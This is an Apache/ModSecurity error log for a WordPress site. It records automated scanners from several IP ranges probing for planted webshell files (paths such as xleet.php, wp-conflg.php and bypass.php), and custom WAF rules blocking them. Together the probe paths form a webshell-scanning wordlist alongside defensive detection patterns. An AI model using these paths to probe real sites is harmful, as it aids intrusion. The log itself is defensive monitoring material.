[Fri Feb 27 04:33:06.871814 2026] [:error] [pid 5365:tid 5385] [client 185.198.240.144:33595] [client 185.198.240.144] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/modern/colors.css.php"] [unique_id "aaCuApYAa8J3tYxdG3wG3QAAARI"]
[Fri Feb 27 04:33:07.681852 2026] [:error] [pid 42563:tid 42574] [client 185.198.240.157:56461] [client 185.198.240.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaCuA3KL5BclZy73IRGrnwAAAcY"]
[Fri Feb 27 04:33:08.444434 2026] [:error] [pid 42563:tid 42577] [client 185.198.240.140:38187] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaCuBHKL5BclZy73IRGroQAAAcg"]
[Fri Feb 27 04:33:10.539971 2026] [:error] [pid 42658:tid 42683] [client 185.198.240.153:25113] [client 185.198.240.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaCuBozcoYl3nRbu1jZFgAAAAhc"]
[Fri Feb 27 04:33:11.498040 2026] [proxy_fcgi:error] [pid 21329:tid 21397] [client 173.239.214.24:52819] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:12.073381 2026] [proxy_fcgi:error] [pid 21329:tid 21384] [client 173.239.214.24:52819] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:13.981777 2026] [:error] [pid 21329:tid 21401] [client 173.239.214.24:52819] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaCuCZvQWnde-MjcQ1FTYgAAAVI"]
[Fri Feb 27 04:33:14.563542 2026] [proxy_fcgi:error] [pid 42435:tid 42446] [client 173.239.214.8:27835] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:15.098541 2026] [:error] [pid 42435:tid 42460] [client 173.239.214.8:27835] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aaCuCx5hHLnaukp_y997TAAAAZQ"]
[Fri Feb 27 04:33:16.287025 2026] [proxy_fcgi:error] [pid 5365:tid 5381] [client 173.239.214.10:60829] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:17.156553 2026] [proxy_fcgi:error] [pid 5365:tid 5375] [client 173.239.214.10:60829] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:17.448588 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.10:60829] [client 173.239.214.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aaCuDZYAa8J3tYxdG3wHJwAAARc"]
[Fri Feb 27 04:33:18.571696 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.20:62127] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aaCuDpYAa8J3tYxdG3wHNgAAARc"]
[Fri Feb 27 04:33:19.625040 2026] [proxy_fcgi:error] [pid 3973:tid 4000] [client 173.239.214.16:55929] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:20.487903 2026] [:error] [pid 3973:tid 4002] [client 173.239.214.16:55929] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aaCuEIJZsftwqmUaaLP4XwAAABM"]
[Fri Feb 27 04:33:22.475262 2026] [:error] [pid 5365:tid 5378] [client 173.239.214.19:27685] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aaCuEpYAa8J3tYxdG3wHYwAAAQs"]
[Fri Feb 27 04:33:23.085891 2026] [proxy_fcgi:error] [pid 21329:tid 21388] [client 185.198.240.149:37641] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:23.368861 2026] [proxy_fcgi:error] [pid 21329:tid 21396] [client 185.198.240.149:37641] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:23.622752 2026] [:error] [pid 21329:tid 21406] [client 185.198.240.149:37641] [client 185.198.240.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "aaCuE5vQWnde-MjcQ1FTcgAAAVc"]
[Fri Feb 27 04:33:24.198903 2026] [:error] [pid 21329:tid 21405] [client 173.239.214.17:42255] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "aaCuFJvQWnde-MjcQ1FTcwAAAVY"]
[Fri Feb 27 04:33:25.602497 2026] [proxy_fcgi:error] [pid 5365:tid 5370] [client 173.239.214.7:37461] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:26.162627 2026] [:error] [pid 5365:tid 5367] [client 173.239.214.7:37461] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "aaCuFpYAa8J3tYxdG3wHdAAAAQA"]
[Fri Feb 27 04:33:26.700996 2026] [proxy_fcgi:error] [pid 5365:tid 5376] [client 173.239.214.18:58393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:27.787691 2026] [proxy_fcgi:error] [pid 5365:tid 5370] [client 173.239.214.18:58393] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:28.091595 2026] [:error] [pid 5365:tid 5368] [client 173.239.214.18:58393] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "aaCuGJYAa8J3tYxdG3wHigAAAQE"]
[Fri Feb 27 04:33:29.315467 2026] [proxy_fcgi:error] [pid 5365:tid 5373] [client 209.87.169.175:40537] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:29.879001 2026] [:error] [pid 5365:tid 5370] [client 209.87.169.175:40537] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaCuGZYAa8J3tYxdG3wHswAAAQM"]
[Fri Feb 27 04:33:30.492314 2026] [:error] [pid 42563:tid 42580] [client 173.239.214.25:60611] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "aaCuGnKL5BclZy73IRGshwAAAco"]
[Fri Feb 27 04:33:31.568334 2026] [:error] [pid 42435:tid 42441] [client 185.198.240.151:34877] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "aaCuGx5hHLnaukp_y997ewAAAYE"]
[Fri Feb 27 04:33:33.294927 2026] [:error] [pid 42658:tid 42660] [client 185.198.240.156:30395] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "aaCuHYzcoYl3nRbu1jZGRAAAAgA"]
[Fri Feb 27 04:33:33.830130 2026] [:error] [pid 5365:tid 5380] [client 185.198.240.147:54027] [client 185.198.240.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "aaCuHZYAa8J3tYxdG3wH5QAAAQ0"]
[Fri Feb 27 04:33:34.716828 2026] [proxy_fcgi:error] [pid 42563:tid 42590] [client 185.198.240.142:25851] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:36.198163 2026] [:error] [pid 42563:tid 42570] [client 185.198.240.142:25851] [client 185.198.240.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "aaCuIHKL5BclZy73IRGs2gAAAcI"]
[Fri Feb 27 04:33:37.321153 2026] [:error] [pid 42435:tid 42459] [client 185.198.240.144:30003] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "aaCuIR5hHLnaukp_y997igAAAZM"]
[Fri Feb 27 04:33:37.918723 2026] [:error] [pid 3974:tid 4052] [client 185.198.240.157:27765] [client 185.198.240.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "aaCuIXp-fQtdOYjkuFvZIQAAAE8"]
[Fri Feb 27 04:33:38.920542 2026] [proxy_fcgi:error] [pid 42563:tid 42582] [client 173.239.214.11:23723] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:39.203746 2026] [:error] [pid 42563:tid 42580] [client 173.239.214.11:23723] [client 173.239.214.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaCuI3KL5BclZy73IRGtAQAAAco"]
[Fri Feb 27 04:33:40.025740 2026] [:error] [pid 21329:tid 21394] [client 185.198.240.141:29825] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaCuJJvQWnde-MjcQ1FTlwAAAUs"]
[Fri Feb 27 04:33:41.938449 2026] [:error] [pid 42658:tid 42679] [client 173.239.214.20:22105] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaCuJYzcoYl3nRbu1jZGfwAAAhM"]
[Fri Feb 27 04:33:42.764766 2026] [proxy_fcgi:error] [pid 42658:tid 42683] [client 173.239.214.27:45135] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:43.050342 2026] [:error] [pid 42658:tid 42660] [client 173.239.214.27:45135] [client 173.239.214.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaCuJ4zcoYl3nRbu1jZGjwAAAgA"]
[Fri Feb 27 04:33:44.209431 2026] [:error] [pid 42435:tid 42453] [client 173.239.214.25:60183] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaCuKB5hHLnaukp_y997pgAAAY0"]
[Fri Feb 27 04:33:45.092694 2026] [:error] [pid 5365:tid 5391] [client 173.239.214.25:21945] [client 173.239.214.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/as.php"] [unique_id "aaCuKZYAa8J3tYxdG3wITQAAARg"]
[Fri Feb 27 04:33:45.884050 2026] [:error] [pid 42563:tid 42582] [client 173.239.214.19:58829] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaCuKXKL5BclZy73IRGtNwAAAcw"]
[Fri Feb 27 04:33:47.467768 2026] [:error] [pid 42658:tid 42678] [client 173.239.214.8:42587] [client 173.239.214.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaCuK4zcoYl3nRbu1jZGvwAAAhI"]
[Fri Feb 27 04:33:48.018303 2026] [:error] [pid 42563:tid 42579] [client 185.198.240.146:33881] [client 185.198.240.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aaCuLHKL5BclZy73IRGtSAAAAck"]
[Fri Feb 27 04:33:50.913957 2026] [:error] [pid 5365:tid 5367] [client 185.198.240.156:23909] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaCuLpYAa8J3tYxdG3wImAAAAQA"]
[Fri Feb 27 04:33:52.311030 2026] [:error] [pid 42658:tid 42666] [client 173.239.214.20:49259] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaCuMIzcoYl3nRbu1jZG2wAAAgY"]
[Fri Feb 27 04:33:53.234470 2026] [proxy_fcgi:error] [pid 21329:tid 21401] [client 185.198.240.156:51995] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:53.478401 2026] [proxy_fcgi:error] [pid 21329:tid 21393] [client 185.198.240.156:51995] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:53.739828 2026] [:error] [pid 21329:tid 21403] [client 185.198.240.156:51995] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaCuMZvQWnde-MjcQ1FT0wAAAVQ"]
[Fri Feb 27 04:33:55.142556 2026] [:error] [pid 3975:tid 4013] [client 173.239.214.6:42389] [client 173.239.214.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaCuMxMVp0-T2hD76b263QAAAIM"]
[Fri Feb 27 04:33:55.638043 2026] [proxy_fcgi:error] [pid 5365:tid 5374] [client 185.198.240.145:34387] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:57.219233 2026] [:error] [pid 5365:tid 5390] [client 185.198.240.145:34387] [client 185.198.240.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaCuNZYAa8J3tYxdG3wI5QAAARc"]
[Fri Feb 27 04:33:58.023026 2026] [:error] [pid 5365:tid 5387] [client 173.239.214.7:40119] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaCuNpYAa8J3tYxdG3wI7wAAARQ"]
[Fri Feb 27 04:33:58.831440 2026] [:error] [pid 5365:tid 5371] [client 173.239.214.14:27625] [client 173.239.214.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaCuNpYAa8J3tYxdG3wI_AAAAQQ"]
[Fri Feb 27 04:33:59.608859 2026] [proxy_fcgi:error] [pid 42658:tid 42677] [client 185.198.240.145:23681] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:33:59.860406 2026] [:error] [pid 42658:tid 42671] [client 185.198.240.145:23681] [client 185.198.240.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaCuN4zcoYl3nRbu1jZHAQAAAgs"]
[Fri Feb 27 04:34:02.635418 2026] [:error] [pid 42435:tid 42451] [client 185.198.240.146:59665] [client 185.198.240.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaCuOh5hHLnaukp_y9970QAAAYs"]
[Fri Feb 27 04:34:03.241584 2026] [:error] [pid 42435:tid 42450] [client 173.239.214.17:26895] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaCuOx5hHLnaukp_y9970wAAAYo"]
[Fri Feb 27 04:34:04.603735 2026] [:error] [pid 42658:tid 42663] [client 185.198.240.151:32259] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaCuPIzcoYl3nRbu1jZHRwAAAgM"]
[Fri Feb 27 04:34:05.264329 2026] [:error] [pid 21329:tid 21388] [client 173.239.214.12:27415] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaCuPZvQWnde-MjcQ1FT7gAAAUU"]
[Fri Feb 27 04:34:06.519160 2026] [:error] [pid 42658:tid 42673] [client 185.198.240.152:25177] [client 185.198.240.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaCuPozcoYl3nRbu1jZHZwAAAg0"]
[Fri Feb 27 04:34:07.142501 2026] [:error] [pid 3974:tid 4055] [client 173.239.214.27:36425] [client 173.239.214.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aaCuP3p-fQtdOYjkuFvZUQAAAFI"]
[Fri Feb 27 04:34:07.785913 2026] [:error] [pid 3974:tid 4041] [client 185.198.240.144:56855] [client 185.198.240.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.144, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaCuP3p-fQtdOYjkuFvZUgAAAEQ"]
[Fri Feb 27 04:34:07.793441 2026] [proxy_fcgi:error] [pid 3974:tid 4041] [client 185.198.240.144:56855] AH01071: Got error 'Primary script unknown'
